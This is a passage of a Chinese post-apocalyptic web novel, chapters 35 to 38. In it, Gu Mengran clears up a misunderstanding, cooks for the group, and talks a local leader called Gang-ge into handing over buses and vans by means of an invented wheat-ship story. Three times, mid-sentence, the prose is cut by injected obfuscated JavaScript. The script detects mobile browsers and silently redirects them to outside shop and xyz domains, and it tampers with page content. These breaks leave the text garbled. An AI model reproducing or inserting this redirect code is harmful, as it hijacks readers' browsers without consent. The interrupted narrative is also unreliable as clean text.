“如果不是及时发现……”刚哥双手紧握成拳,脖颈青筋暴起,明显气得不轻,“世道乱了也不能没有规矩,该收拾的还是得收拾,不给个教训以后还会有这类事情发生。” 聊到这里,这场误会算是彻底解开了。 郑奕杰没再多问,逐渐泛红的脸颊与耳朵暴露了他的尴尬。 只是顾孟然有点好奇,他为什么不提物资分配的事情,难道又是一个误会? 聊了聊车的事情,三人告别刚哥,吹着挂脖风扇往回走。 顾孟然看着埋头赶路,脑袋都快和地面平行的郑奕杰,终究是没忍住,笑着调侃道:“你昨天说得有模有样,我们都当真了,搞了半天是个乌龙。” “这能怪我吗?”郑奕杰倏地抬起头,“你刚刚也听他说了,我又没胡编乱造,本来就有这么个让人误会的事。” 误会解除,不用匆忙离开,顾孟然心情大好。 这位房东让他们吃了一惊,他也得让房东吃上一瘪,于是故意问道:“你不是说他们在防空洞当皇帝,自己吃香喝辣克扣别人的物资吗,这事你刚刚怎么不提一提?” 像是说谎被人戳穿,郑奕杰本就涨红的脸一下子红到耳后根,走路甚至都开始同手同脚。 但他没有选择说谎,短暂的沉默后,他扭扭捏捏,支支吾吾又十分坦诚道:“这事是我脑补过头了。那时候雾还很浓,我只是隐约听到任务、物资什么的,结合后面那些事,稍微润色了一下……” 润色?写小说呢还润色。 顾孟然忽地一笑,“我很好奇,你灾前到底是做什么的?” 郑奕杰推了推他的黑框眼镜,一本正经道:“网文知道吧?没错,我就是靠写小说全款买房的网文作者。” 顾孟然点点头,“难怪!” “难怪什么?”郑奕杰追问。 “难怪脑补能力这么强。” “顾孟然!信不信我今天晚上就给你们撵出去!” …… 35.第 35 章 * “总之,这件事就是个误会。” 洗完澡出来,顾孟然守在饮水机旁,端着水杯一顿狂饮,顺便把今天发生的事,今天在停车场了解的情况转告给其他人。 说者无心听者有意,顾孟然说得云淡风轻,孟高阳听得背脊发寒,靠着座椅怔怔出神,一颗心顿时提到嗓子眼。 “刚出去就跟人碰上了?这也太倒霉了。还好只是个误会,要不然……你们还能不能回来都是个问题。” 惊魂未定,老爷子右手反复揉摸胸口,唉声叹气道:“我还是觉得哪里不太对的样子。你说哪那么巧?让人误会的事情都让小郑碰上了,还全都另有隐情。” 话刚刚说完,当事人郑奕杰顶着一头湿漉漉的水汽从过道走出来。听到这话他面色微微一红,下意识看向顾孟然。 顾孟然挑了下眉,似笑非笑地与他对视。 当然不是纯粹的巧合,郑奕杰估计是受末日小说影响,对未知势力带有偏见。 他先入为主,听到那些模棱两可的话、模糊不清的事便自行在脑海中润色加工,以至于忽略了别的可能,拼凑出来的真相就变成了他以为的样子。 尤其他还是一个擅长讲故事,靠写小说全款买房的网文作者! 让房东当众丢脸不是明智之举,顾孟然不着痕迹地收回视线,扭头对外公说道:“不巧就不是误会了,我们应该庆幸才对。” “误会当然最好。”老爷子捏着下巴,眉头紧紧拧着,“我就是担心,担心他们特意放你们走,降低你们的防备心,然后放长线钓大鱼。” “那不会,我们身上没有值得钓的东西。”一杯水又见了底,顾孟然俯身凑到饮水机跟前,接了满满一杯。 “你说没有就没有?”老爷子直直盯着顾孟然,眼珠子却不停地往左边撇。 客厅地板上,小朋友们歪七扭八地坐在拼接地垫上,乐此不疲地拼着乐高。两位老师虽然也在听他们说话,但大部分时间都在照看小朋友,时不时给孩子们喂点水,还得谨防小孩把玩具往嘴里塞。 顾孟然瞥了一眼,刻意压低了嗓音,“外公,我又不是傻子,我不可能毫无防备地把真实情况告诉他们。我只说了我们还有一个老人,除非他们对你感兴趣,不然——” “你小子没个正形是不是?”老爷子的巴掌高高举起。 顾孟然嘿嘿一笑,恋恋不舍地离开饮水机,端着水杯走向外公,轻声安慰道:“别操心了外公,当时他们一群人,真想做点什么我们完全反抗不了。而且他们知道郑奕杰住在这里,想搞事不会等到现在。” 安慰没有起到效果,老爷子反倒更紧张了,板着脸反问:“那他们也知道我们住在这里?” “应该知道。我们是外地来的,又和郑奕杰混在一起,随便一猜就知道我们借住在他家里。” 孟高阳倒吸一口凉气,“嘶!不管怎么说,我们最好还是早点离开。人心经不起考验,我们一群男人他们可能不感兴趣,但物资和……” 老爷子没说完,顾孟然明白了他的意思。 不急着走,确实又该早点走。可说走就走哪那么容易,刚哥不让他们在城北寻找物资,其他地区又还有别的势力存在,不敢轻易涉足。 虽说刚哥表示友好,可以为他们提供车辆,但人家不可能送车上门,只能他们亲自去九街那边开。 他和梁昭走一趟倒也无所谓,关键是他们想要大巴车,还至少两辆,先不说有没有,这问起来该怎么解释? 而且危机解除,郑奕杰还会跟他们一起走吗?如果他不想走了,不愿意提供物资,那这几天他还得和梁昭出去转一转,假装找点物资回来。 哎!麻烦事一大堆。顾孟然在心里叹了口气,面上半分不显,耸了耸肩膀朝外公笑了一声,“我知道了。” 其实顾孟然并没有外公那般紧张,因为他总觉得,九街那位五大三粗,浑身腱子肉的老大,怎么看都不像心思缜密,心眼子贼多的人。 不管了,难得有空闲,顾孟然准备改善一下伙食。 为此他特意找到郑奕杰打了个招呼,经过主人同意后,走进他家囤满物资的仓库。 房主人把仓库打理得很好,物资分门别类,摆放整齐,大大小小的箱子上贴着不同标签。顾孟然看着标签找,很轻松便拿到了想要的食材。 一袋低筋面粉、一罐奶粉、一袋红茶、四罐午餐肉罐头、十五个拳头大的土豆,最后顾孟然又在仓库的双开门冰箱里摸了十个鸡蛋,匆匆走进厨房。 基本的厨具、锅碗瓢盆厨房里都有,但如烤箱、空气炸锅之类的改善型厨具,郑奕杰一样也没准备,看得出他不是一个爱做饭的人。 备好食材,顾孟然拧开水龙头洗干净手,从鸡蛋开始入手。 拿一个海碗,一个小漏勺,将漏勺置于碗上,再将鸡蛋打在漏勺上,轻轻松松实现蛋清分离。 分离开的蛋清放冰箱备用,顾孟然找了一个不锈钢盆,倒入适量低筋面粉,适量糖,再加入一勺食用植物油,进行充分搅拌,直至彻底看不见干面粉。 奶粉加温水稀释充当牛奶,随后将“牛奶”和蛋黄一起倒入面盆中,再次进行搅拌。搅成半盆黄色糊糊就差不多了,这时候从冰箱拿出蛋清,滴了几滴白醋,开始打发。 蛋清会有腥味,没有柠檬汁加白醋也能去腥。 没有自动打蛋器,最磨人的环节莫过于打发蛋清,拿个漏勺在盆里一顿搅和,顾孟然手都快酸了,蛋液还未成型。 空间倒是准备了自动打蛋器,可厨房门又不能锁,让人给看见了该怎么解释? 胳膊酸是次要的,万一蛋清没打发起来,鸡蛋就浪费了。顾孟然衡量了一下,放下漏勺蹑手蹑脚地走向门口。 眼看四下无人,正当他握着把手准备把门关起来时,换了一身衣服的梁昭从斜对面书房走出来,手里还拿着一条毛巾,反复擦拭湿漉漉的头发。 顾孟然眼睛瞬间亮了,忙不迭朝梁昭招招手,“来来来梁昭,帮忙望个风。” “望风?”梁昭不明所以地挑了下眉,步子却一刻未停,径直走进厨房。 走到顾孟然刚才站的位置,顾孟然及时叫停,端来一个小板凳,“坐这就行了,有人过来及时提醒我。我要用空间里的打蛋器了,手累得要死。” 梁昭瞅了眼台面上琳琅满目的食材,略微迟疑道:“打发蛋液吗?要不我来帮忙打,你坐这休息会儿。” “不用不用。” 顾孟然摆手拒绝,因为梁昭的厨艺……实在不敢恭维。 怕嫌弃得太明显,梁昭心里不舒服,顾孟然把土豆拎过来,又拿来洗菜盆和削皮刀,让梁昭给土豆削皮,有点参与感。 有了人望风,顾孟然放心大胆地从空间拿出自动打蛋器,仔细清洗后连接电源,“滋滋滋”不到五分钟,盆里的蛋清变成了奶油质地的蛋白霜。 取三分之一放入搅拌好的面粉糊糊,充分搅拌至融合,随后将剩余蛋白霜加进去,以同样的手法再次搅拌。 彻底搅拌融合后,顾孟然从灶台上取来两个电饭煲内胆,刷一层油,将盆里调制好的糊糊一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13947256|146651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分为二,放入电饭锅中开蒸。 人多量得大,不然不够分,还好郑奕杰有两个电饭锅。 耗时近四十分钟,顾孟然的电饭锅版戚风蛋糕成功了大半。接下来还需要蒸半个小时,闷二十分钟,才知道究竟成不成功。 忙活完,梁昭那边的土豆也削好了,还贴心地帮忙清洗干净。顾孟然把台面清理了一下,将自动打蛋器收回空间,继续准备下一道菜。 土豆用波纹刀切成条状,放在水中浸泡五分钟,去除多余淀粉。起锅烧油,油温上来了将土豆条倒入锅中,小火慢炸。 期间顾孟然也没闲着,提前把辣椒粉、孜然粉、芝麻等调味料备好,待土豆炸至金黄出锅,分成两份加入调味料搅拌均匀。 一份放辣椒,一份不放辣椒。 郑奕杰家里的调味品还算齐全,不放辣椒也不会难吃,只是顾孟然的嘴巴寡淡无味,他需要一点辣椒来刺激味蕾。 香是真的香,顾孟然尝了一个,香辣可口,酥中带脆,只可惜没有香菜、小葱、折耳根,要不然味道还能再上一个档次,推了个车就可以出摊了。 家常版狼牙土豆大功告成,厨房里油香肆意,顾孟然余光瞥见梁昭喉咙动了动,果断用筷子夹了一根辣味土豆走过去,俯身送到他嘴边。 梁昭毫无防备,狼牙土豆差一点就碰到了他的嘴唇。但他没有张嘴,诧异抬眸看了顾孟然一眼,伸手去接筷子。 “哎呀你别动,一会儿掉地上了。”顾孟然拍开他的手,扬了扬下巴示意梁昭张嘴。 看着那双蕴藏期待的眼眸,梁昭嘴唇微微张开。 “怎么样怎么样?好吃吗,缺味道不?”顾孟然将土豆送进梁昭嘴里,还没等人家咀嚼,忙地追问。 他一心观察梁昭的神情,丝毫没有留意到,梁昭的耳朵红得悄无声息。 梁昭隐去那一丝不自然,快速咀嚼将食物咽下去,坦诚地点了点头,“很香,我吃着味道刚刚好,不需要加别的。” “那就好,”顾孟然嘿嘿一笑,“来帮忙,你先把狼牙土豆端出去,和他们一起趁热吃。我再把午餐肉煎一下,蛋糕估计也差不多了。” “嗯。”梁昭起身洗干净手,端着两盆土豆走出厨房。 但没一会儿他又回来了,站在边上偷师学艺,愣是看完全程,直至两面金黄的午餐肉出锅。 蛋糕也熟了,顾孟然看了眼时间,取下电饭锅电源。 有点紧张啊,教程看了不老少,自己动手尝试还是第一次。成败在此一举,顾孟然屏住呼吸,轻轻按下锅盖按钮。 一股热气扑面而来,浓郁的奶香,丝丝缕缕的甜香直往鼻子里钻。顾孟然嗅着空气中的香味,待热气散尽低头一瞅,一块松松软软黄色“海绵”即刻呈现在锅中。 锅还有点烫,顾孟然用毛巾垫着把内胆端出来,直接扣在清洗干净的菜板上。随后拍拍锅底将内胆拿起来,菜板上就只剩一个□□弹弹的圆形戚风蛋糕。 不论外形还是颜色都相当完美,边缘呈淡黄色,底部呈焦黄色,就算忽略浓郁的奶香味,看着都格外诱人。 一次就成功,顾孟然高兴极了,巨大的成就感涌上心头。不过吃蛋糕得趁热,他没急着得意,快速将两个戚风蛋糕切块装盘,和梁昭一起端到客厅。 戚风蛋糕、狼牙土豆、香煎午餐肉,伙食改善得相当到位,孩子们都乐疯了,似乎找到了“旅游”真正的乐趣。 大人们也没矜持,大口大口地品尝美食,不遗余力地夸奖厨师,格外珍惜这段来之不易,短暂而美好的时光。 36.第 36 章 * 正儿八经地休息了半天,第二天一早,顾孟然和梁昭带着少许干粮和水,背着双肩包从地下室出来,按照郑奕杰给的路线前往九街。 思来想去,顾孟然还是决定先解决车的问题,其他那些无关痛痒的小事情,只需要想想怎么撒谎,怎么编个合理的故事。 山城地形复杂,尽管多数房屋在地震中坍塌,但这座城市里三层外三层,上三层下三层,与迷宫别无二致。 没有本地人带路,九街相当难找,一个小时的路程走了快一个半小时,顾孟然和梁昭热得汗流浃背,九街的影子都没看到。 好在运气还算不错,又走了近十分钟,他们碰上了一伙儿手拿铁铲、铁锹等工具的小队。对方很是警惕,一看是生面孔,立刻将他们团团围住,查户口似的问了半天。 等顾孟然道明来意,说起昨天与刚哥的约定,那伙人这才渐渐放松警惕。但对方没有直接带他们去九街,而是让他们在原地等着,派了一个小个子男人回去确认。 大概十分钟后,男人气喘吁吁地跑回来,凑到小队队长耳边说了几句,随即队长在人群中另指了一个人,带着两人前往九街。 来回十分钟,顾孟然以为就五分钟的路程,谁料走了快二十分钟,带路人依旧没有停下步伐的意思。 为了安全考虑不带他们去大本营? 倒是可以理解,顾孟然甚至因对方心存警惕而放心了不少。 走走停停大半个小时,带路人带领着他们穿过废墟、街道,一片僻静幽寂,植被茂密的城市公园映入眼帘。 相比高楼大厦坍塌,一夜之间沦为废墟的城市,公园里的情况要好许多。开阔的草坪、枝繁叶茂的树木、古朴的凉亭,几乎看不见建筑残骸。 只是绿草枯黄,树叶卷边,凉亭无人休息。 没走太远,进入公园不久后,顾孟然与梁昭跟随那人走下防滑坡道,来到了一片幽暗寂静的地下停车场。 一进入停车场,沁人心脾地凉意从四面八方席卷而来,顾孟然呼出一口热气,感叹终于到了,正要从包里掏出手电筒照明,带路人一跺脚,头顶声控灯瞬间亮起。 锃亮的灯光驱散黑暗,顾孟然四下环视一圈,瞳孔骤然缩紧。 大,非常大,一座规模极其庞大的地下停车场,一嗓子喊出去都得好几分钟才能传来回音的那种。 不同于之前空荡荡的停车场,这儿摆明就是九街的车库,一整个停车场几乎不见空车位,密密麻麻全是车。 轿车、越野、皮卡、挖掘机……市面上有的车型这里基本都有,包括顾孟然心心念念地大巴车。 被五花八门的汽车晃花了眼,顾孟然呆若木鸡。而这时,车库深处传来一阵爽朗的笑声,熟悉又陌生的男声随脚步声逐渐靠近。 “哈哈哈哈!今天就来了?怎么样,我们这儿车多吧?有没有看上的?” 来人正是刚哥,标配人字拖、老头背心,纹身也遮挡不住的肱二头肌高高鼓起,尽管装扮随和,面上带着笑,却始终给人一种不怒自威的感觉。 “刚哥。”给顾孟然他们带路的男人热情打招呼。 刚哥大步流星地走近,冲男人摆了摆手,“瞧你一脑门汗,进去喝点水休息一会儿,不着急上去。” “好勒!” 男人扭头就走,刚哥笑着朝顾孟然和梁昭扬了扬下巴,“你们也进去歇会儿?” 梁昭眉头一皱,明显是想拒绝,顾孟然抢在他之前开口,笑着点下头,“好啊,正好有点口渴。” 一辆车或许能在停车场谈妥,但四辆车肯定不行。来都来了,既然主人家邀请,那就坐下来好好聊一聊,而且顾孟然也想知道,这停车场里面到底藏着什么。 带路的人变成了刚哥,他一边走一边给两人介绍,像一个称职的导游,讲述山城的历史,讲述山城防空洞的由来。 顾孟然刚开始不是很感兴趣,随便听一耳朵,时不时“嗯”上一声,或提出几个简单问题以示礼貌。 直接偌大的停车场走到尽头,穿过一条狭窄昏暗的甬道,开阔而明亮的弧顶防空洞映入眼帘,他这才真正感受到山城先辈的智慧和伟大。 防空洞高五米,差不多两层楼的高度,弧顶与洞壁由水泥浇筑而成,隐约还能看见锈迹斑斑的钢筋。宽度大概六米,地面同样用水泥抹平,光滑平坦,一眼望不到尽头。 而此时此刻,六米宽的通道被压缩成两米,防空洞左右两侧,厚纸板拼凑成一张张不算规整的床铺,那是人们来之不易的容身之地。 消失在地面上的人出现在了这里,有的瘫坐在床上摇扇子,享受着难得的休闲时光,有的目光呆滞望着天花板,似乎还未从失去亲人的悲痛中走出来。 其中还有不少伤患,有的面色潮红疑似中暑,有的缺胳膊少腿,明显是在地震中重伤有幸逃过一劫。 并没有劫后余生的喜悦,并非所有人都怀揣着对未来的憧憬,更多的是沉闷压抑,虽有秩序,却处处透露着绝望。 笔直的防空洞走到头,刚哥带着他们右转,走进了另一个规模差不多的防空洞。这里还没有住满,仅有一半铺了厚纸板,而通道尽头,琳琅满目的物资堆积成山。 确实不是九街的大本营,专门用来存放物资的? 顾孟然没有掩饰自己的好奇,一路探头探脑地张望。 进入防空洞没走出几米,刚哥随意找了个纸板床坐下,笑着在床上拍了两下,热情地朝两人招招手,“来坐,这边刚收拾出来,还没什么人住,干净的。” 自己一身汗已经有够脏了,顾孟然不在意干不干净,与梁昭一同走到刚哥对面坐下。 顾孟然的好奇被刚哥看着眼里,不等他提问,刚哥主动解释道:“刚刚不是给你们说了嘛,九街地下是一片防空洞群,也可以想象成一张蜘蛛网,洞和洞之间都是连通的。” “这里原本也是九街防空洞的一部分,地震的时候塌了几个洞,把路断了,就剩下这两个洞。本来我们也不住在这里,后面人越来越多,实在挤得慌,我们近期才把这边收拾出来。现在看着是寒酸了点,等人多了再收拾收拾。” 刚哥说完干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13954754|146651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巴巴地笑了几声。 听到最后两句话顾孟然才明白,刚哥不是在给他答疑解惑,只是为了强调真正的九街日子过得不错,并不像这里一样简陋。 顾孟然嘴唇微张,故意表现出惊讶,“原来是这样,所以外面那些人是最近才来防空洞的?” “对,他们也是山城人,地震后在外面生存了一段时间,直到温度越来越高,实在受不了才来的防空洞。”刚哥耐心解释道。 怪不得看起来这么丧,顾孟然点点头表示明白了,随口又问了一句:“只剩这两个防空洞了,你们还打算继续收人?人越多物资消耗越大,不是所有人都有劳动力。” 刚哥笑意收敛,神情逐渐严肃起来。 “防空洞是山城先辈留下来的,每一个山城人都拥有避难的权利。物资没了可以再找,可以种植,防空洞住满了还有地下停车场,只要人还活着,总归有一线希望。” “你们外地人不懂我们山城人的团结。” 顾孟然被他噎了一下,微微一笑缓解尴尬。 “扯远了,说正事吧,你们打算要一辆什么车?”刚哥说得口干舌燥,四下环视一圈,从隔壁床床头拿来半瓶没喝完的矿泉水,拧开瓶盖一口闷。 不拘小节的糙汉似乎完全没有给客人拿水的打算,顾孟然默默从双肩包里拿出两瓶矿泉水,特意递给刚哥一瓶。 而刚哥笑吟吟地接住矿泉水,下一秒,顾孟然果断狮子大开口:“刚哥,我们想要四辆车,两辆大巴车,两辆七座商务车。” 刚哥拿水的手猛地一颤,下意识将水瓶递还给顾孟然。 顾孟然笑着摆摆手,“一瓶水而已,不至于。” 刚哥没再推拒,但总觉得拿了个烫手山芋。 他没有第一时间答应或拒绝,想了想,颇为费解地问道:“要那么多车做什么?你说你们还有一个老人,算上翡翠城那小子总共也就四个人,难不成一人开一辆?” 其实进入防空洞之后,顾孟然对刚哥仅存的怀疑也彻底打消了,完全可以实话实说。但不怕一万就怕万一,毕竟带着这么多孩子,顾孟然再三衡量,还是选择了提前准备好的蹩脚说辞。 “地表温度太高,车一上路很容易爆胎。而且没日没夜地开空调,空调也容易故障,以防万一我们必须要多备几辆车。” 刚哥眉头紧皱,一瞬不瞬地盯着顾孟然,忽地嗤笑一声,“你这理由站不住脚啊!就算给你四辆车,你备着,怎么备?开一辆把其他三辆揣兜里带上吗?” “四辆车同时上路就不会爆胎,还是说空调就不会坏了?显然不可能啊。还不如找我要多几个备胎。” 顾孟然眼眸低垂,刻意避开刚哥的视线,“也算是赌运气吧,赌四辆车不会同时爆胎,总有一辆能让我们坚持到下一个城市。至于空调,我们白天开车开空调,晚上睡觉只开一辆车的空调,应该坏不了那么快。” 就算顾孟然不遗余力地补充,这话的可信度还是低得可怜。刚哥没再深究,看着顾孟然问:“那为什么一定要座位多的大车?越野它不香吗?” 37.第 37 章 * “越野它不香吗?” 话音刚落,顾孟然神情略显尴尬窘迫,好似说谎被人拆穿,沉默了好一阵才无奈地耸了耸肩膀,长叹一口气,“好吧,就知道瞒不过刚哥你。” 这话听着舒坦,刚哥下巴一抬,“展开说说。” “是这样的。”顾孟然拿起矿泉水浅抿了一口,认真解释道:“刚哥你也知道,山城距离宜南非常远,灾后路又不好走,不是一天两天能到的。” “这就意味着,除了车以外,我们还需要物资,充足的物资。忘了之前提没提过,来山城之前我们路过了晋城,因为走得是沿江路,所以我们路过了晋城港口。” “港口?”刚哥低声重复这两个字,似乎意识到什么,微蹙的眉头舒展开,眼中闪过一丝微不可察的喜色。 迎着刚哥期待的眼神,顾孟然莫名有点心虚,硬着头皮道:“港口几乎被人搬空了,没有找到任何物资,但我们在锚地发现了一艘散货船。” 自小生活在黄江两岸,刚哥多多少少了解一些,顾孟然刚刚说完,他忙地追问:“多少吨的船?船上装的是什么?” “满载一千吨的小型散货船,船上装的是小麦。” 刚哥瞬间瞪大了眼睛,肩膀因激动而剧烈颤抖,“多少?一千——” “刚哥。”顾孟然打断刚哥的话,无情戳破他的幻想,“我们上去看过,那艘船应该是地震的时候被浪掀翻了,又硬生生掰回来的。船上大部分小麦都倒进了黄江,船舱里剩的不多,顶多装三辆车。” 说得是亲身经历,这话几乎挑不出任何毛病。 只是刚哥如同被浇了一冷水,兴奋劲儿没了,逐渐冷静下来,再度提出疑问:“那你们当时为什么不在晋城找车?虽说离得不远,但特意跑来山城又跑回去,嘶,为啥呢?” “晋城很乱,也有和你们一样的组织,但他们比你们凶得多,还相当排外。”顾孟然坦然对上刚哥的视线,一本正经地胡编乱造。 三车小麦也不少,刚哥原本还想着派几个人跟他们走一趟,从中分得一杯羹,但听到晋城还有别的势力,他立马打消了这个念头。 小麦固然诱人,安全更为重要,晋城山城本就相隔不远,惹一身骚就麻烦了。 顾孟然不知他心中所想,见刚哥似乎有些动摇,趁机抛出一个令对方无法拒绝的条件:“只要你肯为我们提供车辆,不管我们这一趟带回来多少小麦,我们五五分。” “说真的?”刚哥瞬间来了精神,后背挺得笔直。 “当然。” 这种诱惑谁顶得住?刚哥几乎想都没想,一口应下,“成交!不过拉小麦的话,我给你们三辆货车,一辆——” “货车太显眼了,不会有人在这个时候拉无关紧要的物资,我不想被人盯上,还是大巴和商务车最合适。”顾孟然认真地讲道理。 刚哥一听好像也对,犹豫片刻最终应了下来。 但他那神情,就像从身上割了块肉似的,非常地舍不得。 顾孟然好奇对方为何舍不得大巴车,于是多问了一嘴。 刚哥解释说,天太热了,他们清理道路时会在路上放一辆开着空调的大巴车,供干活的人临时休息,以防中暑。 很人性化的准备,顾孟然忽然觉得,拿出部分小麦给九街是个明智的选择,但该拿的大巴车还是得拿。 两辆大巴车外加四个备胎、两辆七座商务车外加两个备胎,刚哥出乎意料的大方,甚至免费赠送了两套汽车修理工具。 以防夜长梦多,顾孟然和梁昭当场开走了两辆大巴车。而当他们重回地下停车场,准备开走剩下两辆商务车时,刚哥终于反应过来了,趴在车窗上盯着顾孟然,一脸扭曲。 “不太对啊小子,咋感觉你在给我画大饼呢?车都让你们给开走了,万一你们拍拍屁股走人,我找谁说理去?” 该来的还是来了,顾孟然系上安全带,对车窗外的刚哥笑了笑,“放心吧刚哥,我们就开三辆车,去三个人,还有一个人会留在山城等我们。你不放心的话派人在附近转一转,可以让他每天早上出来露个头。” “谁留下?翡翠城那小子?”刚哥狐疑地看着顾孟然。 顾孟然点点头,“对。” “那不成,他本来就是山城人,说不定没打算跟你们一起走。”刚哥略一寻思,“这样,你不是说还有一个老人嘛,让他来我们这住,我保证好吃好喝得招待。” 顾孟然眉头微蹙,故作为难:“让我外公留下,那我们这趟都不用去了。” “怎么会?” “船在锚地,而且已经坏了,我们要么下水把小麦运上来,要么想办法修船,开船靠码头卸货。前者需要大量的时间,我们耗不起,后者需要技术,只有我外公能做到。” “哦,你外公以前是跑船的。”刚哥若有所思地点点头,随即抬头盯着顾孟然的眼睛,咧嘴一笑,“那你留下?” ……我留下哪来的小麦? 顾孟然正寻思该怎么拒绝,就在这时,旁边另一辆商务车缓缓降下车窗,梁昭从副驾驶探出头,“如果一定要留一个,我可以留下。” “那感情好啊!” * 多亏九街的人提前清理道路,正午时分,四辆车先后从月岛公园开到通往晋城的主路上,靠边整齐停放。 早上出门早,肚子早就饿了,待九街帮忙送车的人走远,顾孟然从车窗探出脑袋,喊了一声梁昭,准备和他偷偷摸摸开个小灶。 既然开小灶,那就得吃一些平时吃不上的,顾孟然拿出两盒自热米饭充当主食,然后就是葡萄、香蕉、草莓……各式各样的水果。 “咔嗒。” 打开车门,梁昭侧身坐进副驾驶。 他一进门便看到,顾孟然腿上放着一个大号不锈钢盆,盆中装着五颜六色的水果,而他的掌心正不断往外渗水,直至清澈的山泉水没过盆中水果。 “条件有限,边洗边吃。” 说着,顾孟然拿起一颗红彤彤的草莓,简单在水里涮了两下,去蒂一整个儿丢进嘴里。 轻轻一咬,充盈的汁水在口腔中爆发,独特的甜味与轻微的果酸交织融合,香得顾孟然差点咬到舌头。 太好吃了,顾孟然准备再来一个,余光无意扫过副驾驶,见梁昭一动不动,呆呆地看着自己,他手上动作一顿,扭头看向梁昭,“怎么了?不想吃水果?那有米饭。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13968199|146651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾孟然指了下前操纵台,上面放着两盒自热米饭。 梁昭看都没看一眼,缓慢地摇了下头,“没有,想吃的。只是觉得会不会太多了点?我们吃不完。” “没事儿,吃不完放回去,反正坏不了。”顾孟然下巴一抬,端起盆递到梁昭身旁,“你别光说话不吃,赶紧的。” 顾孟然本意是让他拿水果,谁承想梁昭直接连盆端走了,顺势放在自己膝盖上,美曰其名他那边宽敞。 顾孟然没拒绝他的好意,腾出手从空间拿了个垃圾袋,与梁昭一同享用美味的水果大餐。 好吃是好吃,但这玩意儿真的很占肚子。 小半盆水果下肚,顾孟然已经觉得饱了。不过水果消化快,不吃点主食下去一会儿指定饿,于是等梁昭吃完,他连盆带水果收回空间,让梁昭顺便把自热米饭蒸上。 加热包“嘶嘶”作响,带着淡淡石灰味的烟雾从饭盒中飘出,沿着车窗缝隙溜了出去,很快又消失在空无一人的道路上。 没有人说话,车厢安静得有些反常。 顾孟然用余光偷偷瞄了梁昭一眼,见对方正盯着自己发呆,嘴唇紧抿,低垂的眼眸中蕴藏着一丝不安。 这谁能忍得住,顾孟然倏地一抬头,迎上梁昭来不及抽回的目光,轻声询问:“你到底怎么了?不舒服?不会是中暑了吧?” 顾孟然说完便伸手去摸梁昭的额头,但没能得逞,梁昭先一步捉住他的手腕,坦然回答道:“没有中暑,只是担心你不高兴。” “啊?我为什么不高兴?”顾孟然茫然地眨眨眼。 “留在九街这件事,没和你商量。”梁昭攥着顾孟然的手不放,生怕人跑了似的。 顾孟然眉头一皱,脸色顿时变得相当难看,而就在梁昭肉眼可见地紧张起来时,顾孟然扑哧一下笑出声,“好了好了,不逗你了。” “这有什么好生气的,刚哥又不认郑奕杰,我们总有一个人要留下。你这样说的话我是不是还得谢谢你?谢谢你替外公承担风险,谢谢你——” “不是这个意思。”梁昭打断顾孟然的话,神情愈发凝重。 顾孟然从梁昭手中抽出右手,轻轻在他手背上拍了两下,用一副长辈的口吻道:“上次不是说了嘛,多拿主意是好事,毕竟你也是这个家的一分子。” “那你为什么不高兴?”梁昭扫过那只骨节分明的手,目光再度落回顾孟然的面庞。 “我有不高兴吗?”顾孟然反问道。 梁昭不说话,一瞬不瞬地盯着他。 顾孟然:“好吧,是有一点。虽然现在基本可以确定,九街不是什么虎狼之穴,但灾后我们就没分开过,你一个人留在这里……我始终有点不放心。” 这话一出,梁昭面色逐渐缓和,似乎还有点高兴,不自觉地扬起了嘴角。 但没等他高兴上几秒,顾孟然嘴巴一撇,继续补充道:“这只是其一,我们现在还面临着一个大问题。” 笑容一秒消失,梁昭眸色微沉,低声问道:“什么?” “和刚哥说好了三辆车,你留在山城就意味着我们还得带一个‘外人’。可你也知道,我们又不是真的去晋城拉小麦,带个外人该怎么瞒过去?” 38.第 38 章 * 山城离晋城200多公里,根据灾后的路况来算,开车预计五个小时左右。 来回就一天,距离不算远,但顾孟然不打算走这一趟。 一个是因为晋城没有小麦给他们,费老大劲儿白跑一趟不划算,加剧车辆磨损;另一个是因为,山城存在着九街这样的势力,晋城未必没有。 大难当头,不是所有人都持友好态度,在不缺物资的情况下,没必要贸然去探索未知,这也是顾孟然为什么选择与刚哥交易,不去晋城找车的主要原因。 而他一开始的计划,三辆车三个人一起出发,等出了城之后,找个没人的犄角旮旯把车收回空间,然后实实在在的玩上两天,就当散心旅游。 最后等时间差不多了,小麦装车拉回去,晋城之旅彻底结束。 计划赶不上变化,如果留下梁昭,那就必须带一个外人跟他们一起去“晋城”。先不说有没有人愿意,关键空间是计划最重要的一环,该怎么按计划进行又不暴露空间呢? 顾孟然想破头也想不到解决办法,梁昭也没有更好的意见。于是解决掉自热米饭,两人开着商务车往回走,打算回去找老爷子支支招。 城北这一片,主干道被九街清理得差不多了,碎石残骸堆在路边,废弃车辆也被挪走,一路上可以说是畅通无阻。 